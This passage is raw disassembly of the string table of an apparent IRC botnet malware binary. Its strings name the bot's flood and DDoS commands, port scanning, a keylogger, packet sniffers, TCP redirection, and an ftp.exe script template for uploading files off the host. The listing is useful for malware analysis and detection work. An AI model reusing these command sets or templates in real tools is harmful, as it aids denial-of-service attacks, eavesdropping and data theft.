db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
; char unk_42A910
unk_42A910 db 3 ; DATA XREF: sub_401ACD+5F31o
a81Sc@nPortScan db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0
; char aSSS_0[]
aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5E85o
align 4
aSSS db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5DB0o
align 4
; char dword_42A968
dword_42A968 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5D22o
; sub_401ACD+7074o
unk_42A974 db 2Dh ; - ; DATA XREF: sub_401ACD+5CC0o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0
align 10h
; char asc_42A9B0[]
asc_42A9B0 db '-' ; DATA XREF: sub_401ACD+5C51o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStarte db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
align 10h
unk_42AA00 db 3 ; DATA XREF: sub_401ACD+5BBAo
; sub_401ACD+5FA0o
a81Sc@nFailedTo db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0
align 4
; char unk_42AA38
unk_42AA38 db 3 ; DATA XREF: sub_401ACD+5B4Bo
a81Sc@nSPortSca db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second'
db 's for %d minutes using %d threads.',0
align 10h
unk_42AAA0 db 3 ; DATA XREF: sub_401ACD+59D5o
a81Sc@nFailed_0 db '8,1-SC@N- Failed to start scan, no IP specified.',0
align 4
unk_42AAD4 db 3 ; DATA XREF: sub_401ACD+5978o
a81Sc@nFailed_1 db '8,1-SC@N- Failed to start scan, port is invalid.',0
align 4
; char asc_42AB08[]
asc_42AB08 db '-' ; DATA XREF: sub_401ACD:loc_407320o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFileS db '- Uploading file: %s to: %s failed.',0
align 4
unk_42AB38 db 2Dh ; - ; DATA XREF: sub_401ACD+584Co
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFil_0 db '- Uploading file: %s to: %s',0
align 10h
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5835o
; char aSS_2[]
aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+581Eo
align 10h
; char aOpenSSSSPutSBy[]
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+57FBo
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
; char Mode[]
Mode db 'ab',0 ; DATA XREF: sub_401ACD+57D7o
align 4
; char aSIII_dll[]
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+57C6o
align 4
; char asc_42ABA8[]
asc_42ABA8 db '-' ; DATA XREF: sub_401ACD+576Do
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aFileNotFoundS_ db '- File not found: %s.',0
align 4
; char aUpload[]
aUpload db 'upload',0 ; DATA XREF: sub_401ACD+574Ao
align 10h
; char unk_42ABD0
unk_42ABD0 db 3 ; DATA XREF: sub_401ACD+5714o
a81Sc@nAlreadyD db '8,1-SC@N- Already %d scanning threads. Too many specified.',0
; char asc_42AC0C[]
asc_42AC0C db '-' ; DATA XREF: sub_401ACD+56B5o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFailedToStar_8 db '- Failed to start flood thread, error: <%d>.',0
align 4
; char asc_42AC44[]
asc_42AC44 db '-' ; DATA XREF: sub_401ACD+564Ao
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
unk_42AC8C db 2Dh ; - ; DATA XREF: sub_401ACD+5599o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aMessageHasBeen db '- Message has been sent successfuly',0
align 10h
; char asc_42ACC0[]
asc_42ACC0 db '-' ; DATA XREF: sub_401ACD+5565o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aFailedToSendMe db '- Failed to send message, error <%i>.',0
align 4
unk_42ACF4 db 2Dh ; - ; DATA XREF: sub_401ACD+5541o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aNetsendDoesNot db '- NetSend does not work on Win9x systems',0
align 4
; char asc_42AD2C[]
asc_42AD2C db '-' ; DATA XREF: sub_401ACD+549Fo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aSendingMessage db '- Sending message %s times to %s using name %s',0
; char aIcmp_dllNotAva[]
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o
align 10h
unk_42AD80 db 2Dh ; - ; DATA XREF: sub_401ACD+546Do
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFailedToStar_9 db 'Failed to start flood thread, error: <%d>.',0
align 4
; char asc_42ADB8[]
asc_42ADB8 db '-' ; DATA XREF: sub_401ACD+53FEo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 10h
; char asc_42AE00[]
asc_42AE00 db '-' ; DATA XREF: sub_401ACD:loc_406E1Do
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0
align 4
unk_42AE38 db 2Dh ; - ; DATA XREF: sub_401ACD+5346o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aFailedToSta_10 db '- Failed to start flood thread, error: <%d>.',0
align 10h
; char asc_42AE70[]
asc_42AE70 db '-' ; DATA XREF: sub_401ACD+52CCo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+52BCo
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+52B5o
unk_42AEB4 db 2Dh ; - ; DATA XREF: sub_401ACD+521Ao
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFloodTy db '- Invalid flood type specified.',0
align 10h
; char aRandom_0[]
aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+520Ao
; sub_4149C1+312o
align 4
; char aAck[]
aAck db 'ack',0 ; DATA XREF: sub_401ACD+51F3o
; sub_4149C1+2F2o
; char aHcon[]
aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+517Fo
align 4
; char aHttpcon[]
aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+516Co
; char asc_42AEFC[]
asc_42AEFC db '-' ; DATA XREF: sub_401ACD+511Do
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 10h
; char aHeloRndnickMai[]
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+50A9o
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
; char aEmail[]
aEmail db 'email',0 ; DATA XREF: sub_401ACD+4FBEo
align 4
; char aTcp[]
aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+4FA7o
; char aTcpflood[]
aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+4F90o
align 4
; char aVncHttpHostCha[]
aVncHttpHostCha db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o
align 4
; char aVnchost[]
aVnchost db 'vnchost',0 ; DATA XREF: sub_401ACD+4F48o
; char aP[]
aP: ; DATA XREF: sub_401ACD+4F31o
; .data:00438788o ...
unicode 0, <p>,0
; char aPing_0[]
aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+4F1Ao
align 4
; char aPingflood[]
aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+4F03o
align 4
; char aNs[]
aNs db 'ns',0 ; DATA XREF: sub_401ACD+4EECo
align 4
; char aNetsend[]
aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4ED5o
; char aU[]
aU: ; DATA XREF: sub_401ACD+4EBEo
; .data:00438780o ...
unicode 0, <u>,0
; char aUdp[]
aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4EA7o
; char aUdpflood[]
aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4E90o
align 4
; char aAd[]
aAd db 'ad',0 ; DATA XREF: sub_401ACD+4E79o
align 4
; char aAdvscan[]
aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4E62o
; char aPsc[]
aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4E4Bo
; char aPortscan[]
aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4E34o
align 10h
; char aC_a[]
aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4E0Eo
; char aC_action[]
aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4DF7o
align 10h
; char aC_pm[]
aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4DE0o
align 4
; char aC_privmsg[]
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4DC9o
align 4
; char aSc[]
aSc db 'sc',0 ; DATA XREF: sub_401ACD+4DB2o
align 4
; char aScan_0[]
aScan_0 db 'scan',0 ; DATA XREF: sub_401ACD+4D9Bo
align 10h
; char aRd[]
aRd db 'rd',0 ; DATA XREF: sub_401ACD+4D84o
align 4
; char aRedirect[]
aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4D6Do
align 10h
; char aNazel3[]
aNazel3 db 'NAZEL3',0 ; DATA XREF: sub_401ACD+4D3Fo
; sub_401ACD+4D56o
align 4
; char aWonk[]
aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4D28o
align 10h
; char aPhatwonk[]
aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4D11o
align 4
dword_42B05C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4D04o
aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0
align 4
; char asc_42B098[]
asc_42B098 db '-' ; DATA XREF: sub_401ACD+4C95o
db 3, 34h, 2
dd 73796B73h, 3026E79h
aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0
; char aSkysyn[]
aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4C12o
align 10h
; char aSyn[]
aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4BFBo
; sub_401ACD+51DBo ...
; char aSynflood[]
aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4BE4o
align 10h
unk_42B0E0 db 2Dh ; - ; DATA XREF: sub_401ACD+4BD7o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFailedToSta_12 db '- Failed to start flood thread, error: <%d>.',0
align 10h
; char aWisdom_udp[]
aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4B00o
align 4
; char aDdos_random[]
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4AE9o
; sub_413694:loc_4137C0o
; char aDdos_ack[]
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4AD2o
; sub_413694:loc_4137A4o
align 4
; char aDdos_syn[]
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4ABBo
; sub_413694+F1o
align 10h
; char aClone_0[]
aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4A8Do
align 4
; char aIcmp[]
aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4A64o
align 10h
; char aIcmpflood[]
aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4A4Do
align 4
; char aMv[]
aMv db 'mv',0 ; DATA XREF: sub_401ACD+4A36o
align 10h
; char aRename[]
aRename db 'rename',0 ; DATA XREF: sub_401ACD+4A1Fo
align 4
; char aFf[]
aFf db 'ff',0 ; DATA XREF: sub_401ACD+4A08o
align 4
; char aFindfile[]
aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+49F1o
align 4
; char aE[]
aE: ; DATA XREF: sub_401ACD+49DAo
; .data:00438770o ...
unicode 0, <e>,0
; char aExecute[]
aExecute db 'execute',0 ; DATA XREF: sub_401ACD+49C3o
; char aHadeth3[]
aHadeth3 db 'HADETH3',0 ; DATA XREF: sub_401ACD+4995o
; sub_401ACD+49ACo
; char aDe[]
aDe db 'de',0 ; DATA XREF: sub_401ACD+497Eo
align 10h
; char aDelay[]
aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4967o
align 4
; char aRp[]
aRp db 'rp',0 ; DATA XREF: sub_401ACD+4950o
align 4
; char aRepeat[]
aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4939o
; sub_401ACD+6B0Co
align 4
; char aTsn[]
aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4922o
; char aTsunami[]
aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+490Bo
; char aT3[]
aT3 db 't3',0 ; DATA XREF: sub_401ACD+48F4o
align 4
; char aTarga3[]
aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+48DDo
align 4
; char aC_p[]
aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+48C6o
; char aC_part[]
aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+48AFo
align 4
; char aC_j[]
aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+4898o
; char aC_join[]
aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+4881o
align 4
; char aC_n[]
aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+486Ao
; char aC_nick[]
aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+4853o
align 10h
; char aC_m[]
aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+483Co
; char aC_mode[]
aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+4825o
align 4
; char aC_r[]
aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+480Eo
; char aC_raw[]
aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+47F7o
align 4
; char aM_0[]
aM_0: ; DATA XREF: sub_401ACD+47E0o
; .data:004387C8o ...
unicode 0, <m>,0
; char aCy[]
aCy db 'cy',0 ; DATA XREF: sub_401ACD+47B2o
align 10h
; char aCycle[]
aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+479Bo
align 4
; char aA[]
aA: ; DATA XREF: sub_401ACD+4784o
; .data:0043878Co
unicode 0, <a>,0
; char aAction[]
aAction db 'action',0 ; DATA XREF: sub_401ACD+476Do
align 4
; char aPrivmsg_0[]
aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+473Fo
; char aAa[]
aAa db 'aa',0 ; DATA XREF: sub_401ACD+4728o
align 10h
; char aAddalias[]
aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4711o
align 4
; char aKl[]
aKl db 'kl',0 ; DATA XREF: sub_401ACD+46FAo
align 10h
; char aKilllog[]
aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+46E3o
; char aGh[]
aGh db 'gh',0 ; DATA XREF: sub_401ACD+46BAo
align 4
; char aGethost[]
aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+46A3o
unk_42B254 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406163o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
unk_42B270 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406159o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 4
; char aSend_0[]
aSend_0 db 'send',0 ; DATA XREF: sub_401ACD+465Bo
; sub_409909+5F0o
align 4
unk_42B29C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40611Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 4
unk_42B2BC db 2Dh ; - ; DATA XREF: sub_401ACD+4646o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
unk_42B2DC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406091o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 4
unk_42B2FC db 2Dh ; - ; DATA XREF: sub_401ACD+45BAo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 10h
; char aShare[]
aShare db 'share',0 ; DATA XREF: sub_401ACD+4567o
align 4
; char aContinue[]
aContinue db 'continue',0 ; DATA XREF: sub_401ACD+4527o
align 4
; char aPause[]
aPause db 'pause',0 ; DATA XREF: sub_401ACD+450Fo
align 4
unk_42B33C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405FB9o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
unk_42B35C db 2Dh ; - ; DATA XREF: sub_401ACD+44E2o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 10h
; char aStart[]
aStart db 'start',0 ; DATA XREF: sub_401ACD+44ABo
align 4
unk_42B388 db 2Dh ; - ; DATA XREF: sub_401ACD+4478o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
; char aNet[]
aNet db 'net',0 ; DATA XREF: sub_401ACD+4454o
; char aStop[]
aStop db 'stop',0 ; DATA XREF: sub_401ACD+4426o
; sub_401ACD+443Do ...
align 4
; char aKeylog[]
aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+440Fo
align 4
; char aKeyloger[]
aKeyloger db 'keyloger',0 ; DATA XREF: sub_401ACD+43F8o
align 10h
dword_42B3E0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405EB8o
aNoThreadFound_ db '- No thread found.',0
align 10h
dword_42B400 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43E1o
aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0
align 4
dword_42B438 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43B3o
aFailedToSta_13 db '- Failed to start server, error: <%d>.',0
align 4
; char asc_42B46C[]
asc_42B46C db '-' ; DATA XREF: sub_401ACD+4366o
db 3, 34h, 2
dd 6E656469h, 3026474h
aServerRunnin_0 db '- Server running on Port: 113.',0
align 4
dword_42B498 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4356o
aAlreadyRunning db '- Already running.',0
align 4
; char aIdent[]
aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4325o
align 10h
unk_42B4C0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DE5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aNoVrxSnifferTh db '- No VrX sniffer thread found.',0
unk_42B4EC db 2Dh ; - ; DATA XREF: sub_401ACD+430Eo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVrxSnifferStop db '- VrX sniffer stopped. (%d thread(s) stopped.)',0
unk_42B528 db 2Dh ; - ; DATA XREF: sub_401ACD+42E0o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFailedToSta_14 db '- Failed to start sniffer thread, error: <%d>.',0
; char asc_42B564[]
asc_42B564 db '-' ; DATA XREF: sub_401ACD+4271o
db 3, 34h, 2
db 53h ; S
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVrxPacketSniff db '- VrX packet sniffer active.',0
align 10h
unk_42B590 db 2Dh ; - ; DATA XREF: sub_401ACD+420Ao
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aAlreadyRunni_0 db '- Already running.',0
; char aSniffer[]
aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41D5o
dword_42B5B8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C95o
aNoCarnivoreThr db '- No Carnivore thread found.',0
align 4
dword_42B5E4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+41BEo
aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0
align 10h
dword_42B620 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4190o
aFailedToSta_15 db '- Failed to start sniffer thread, error: <%d>.',0
align 4
; char asc_42B65C[]
asc_42B65C db '-' ; DATA XREF: sub_401ACD+4121o
db 3, 34h, 2
dd 696E7370h, 3026666h
aCarnivorePacke db '- Carnivore packet sniffer active.',0
align 4
dword_42B68C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40BAo
aAlreadyRunni_1 db '- Already running.',0
align 4
; char aOn[]
aOn db 'on',0 ; DATA XREF: sub_401ACD+409Ao
; sub_401ACD+41EAo ...
align 10h
; char aPsniff[]
aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+4085o
align 4
; char aRf[]
aRf db 'rf',0 ; DATA XREF: sub_401ACD+406Eo
align 4
; char aReadfile[]
aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4057o
align 4
; char aCm[]
aCm db 'cm',0 ; DATA XREF: sub_401ACD+4040o
align 4
; char aCmd[]
aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4029o
; char aMirc[]
aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+4012o
align 4
; char aMirccmd[]
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FFBo
; char aV[]
aV: ; DATA XREF: sub_401ACD+3FE4o
; .data:004387BCo ...
unicode 0, <v>,0
; char aVisit[]
aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FCDo
align 4
; char aLi[]
aLi db 'li',0 ; DATA XREF: sub_401ACD+3FB6o
align 10h
; char aList[]
aList db 'list',0 ; DATA XREF: sub_401ACD+3F9Fo
align 4
; char aGt[]
aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F88o
align 4
; char aDel[]
aDel db 'del',0 ; DATA XREF: sub_401ACD+3F5Ao
; char aDelete[]
aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F43o
; sub_401ACD+453Fo
align 4
; char aKi[]
aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F2Co
align 4
; char aKill[]
aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F15o
align 4
; char aKp[]
aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EFEo
align 4
; char aKillproc[]
aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE7o
align 4
; char aDn[]
aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ED0o
align 4
; char aDns[]
aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o
; char aSe[]
aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA2o
align 10h
; char aO[]
aO: ; DATA XREF: sub_401ACD+3E74o
; .data:00438AECo
unicode 0, <o>,0
; char aOpen[]
aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E5Do
; sub_401ACD+583Ao ...
align 4
; char aPr[]
aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E46o
align 10h
; char aPrefix[]
aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E2Fo
align 4
; char aC_rn[]
aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E18o
align 10h
; char aC_rndnick[]
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E01o
align 4
; char aC_q[]
aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DEAo
; char aC_quit[]
aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DD3o
align 4
; char aKillthread[]
aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DA5o
align 4
; char aRaw[]
aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D77o
; char aPt[]
aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D60o
align 4
; char aJ[]
aJ: ; DATA XREF: sub_401ACD+3D32o
; .data:004387A4o ...
unicode 0, <j>,0
; char aN[]
aN: ; DATA XREF: sub_401ACD+3D04o
; .data:004387C4o ...
unicode 0, <n>,0
unk_42B784 db 2Dh ; - ; DATA XREF: sub_401ACD+3CCFo
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aDisconnectingC db '- disconnecting clones...',0
align 4
; char aNickservRegist[]
aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o
; char aRegister[]
aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C3Do
align 10h
; char aPrivmsgSS_0[]
aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3BE2o
align 10h
; char aMix[]
aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B0Do
; char aPrivmsgS_3[]
aPrivmsgS_3 db 'PRIVMSG %s :' ; DATA XREF: sub_401ACD+3AB7o
; sub_401ACD+3AF2o
dd 6E696601h, 1726567h, 0
; char aPrivmsgS_2[]
aPrivmsgS_2 db 'PRIVMSG %s :' ; DATA XREF: sub_401ACD+3A7Co
dd 72657601h, 6E6F6973h, 1
; char aPrivmsgS_1[]
aPrivmsgS_1 db 'PRIVMSG %s :' ; DATA XREF: sub_401ACD+3A41o
; sub_401ACD+3B62o
dd 6E697001h, 167h
; char aCtcp[]
aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+39ECo
align 10h
; char aNoticeSS_1[]
aNoticeSS_1 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3951o
; sub_401ACD+3991o ...
align 10h
; char aNotice_0[]
aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+38F7o
align 4
; char aMsg[]
aMsg db 'msg',0 ; DATA XREF: sub_401ACD+3802o
; char aChgnick[]
aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+37BDo
; char aNick_0[]
aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+36B5o
; sub_401ACD+3CEDo
align 4
; char aPrivmsgS_0[]
aPrivmsgS_0 db 'PRIVMSG %s :' ; DATA XREF: sub_401ACD+369Ao
dd 43434401h, 4E455320h, 64252044h, 2064252Eh, 25206425h
dd 64252064h, 1
; char aDcc[]
aDcc db 'dcc',0 ; DATA XREF: sub_401ACD+361Do
; char aJoinPart[]
aJoinPart db 'join/part',0 ; DATA XREF: sub_401ACD+34C6o
align 4
; char aNickS_0[]
aNickS_0 db 'NICK %s',0 ; DATA XREF: sub_401ACD+34ABo
; sub_401ACD+3712o ...
; char aSI[]
aSI db '%s%i',0 ; DATA XREF: sub_401ACD+3490o
; sub_40AAAC+4Fo ...
align 4
; char aPnick[]
aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+344Fo
align 4
; char aPartSS[]
aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3434o
; sub_401ACD+3520o ...
align 4
; char aPartflood[]
aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+340Do
align 4
; char aPartS[]
aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+33F2o
; char aPart_0[]
aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+33D0o
; sub_401ACD+3D49o
align 4
; char aJoinS[]
aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+33B5o
; sub_401ACD+34F4o ...
; char aJoin[]
aJoin db 'join',0 ; DATA XREF: sub_401ACD+3393o
; sub_401ACD+3D1Bo
align 4
; char aModeSS[]
aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+3378o
align 10h
; char aMode[]
aMode db 'mode',0 ; DATA XREF: sub_401ACD+3329o
; sub_401ACD+47C9o
align 4
; char aNoticeSS_0[]
aNoticeSS_0 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+330Eo
align 4
; char aNt[]
aNt db 'nt',0 ; DATA XREF: sub_401ACD+32BFo
align 4
; char aPrivmsgS[]
aPrivmsgS db 'privmsg %s :' ; DATA XREF: sub_401ACD+32A4o
dd 1732501h, 0
; char aCt[]
aCt db 'ct',0 ; DATA XREF: sub_401ACD+3255o
align 4
; char aPrivmsgSS[]
aPrivmsgSS db 'privmsg %s :%s',0 ; DATA XREF: sub_401ACD+323Ao
; sub_401ACD+385Co ...
align 4
; char a_[]
a_: ; DATA XREF: sub_401ACD+320Bo
; sub_401ACD+3275o ...
unicode 0, <_>,0
; char aPm[]
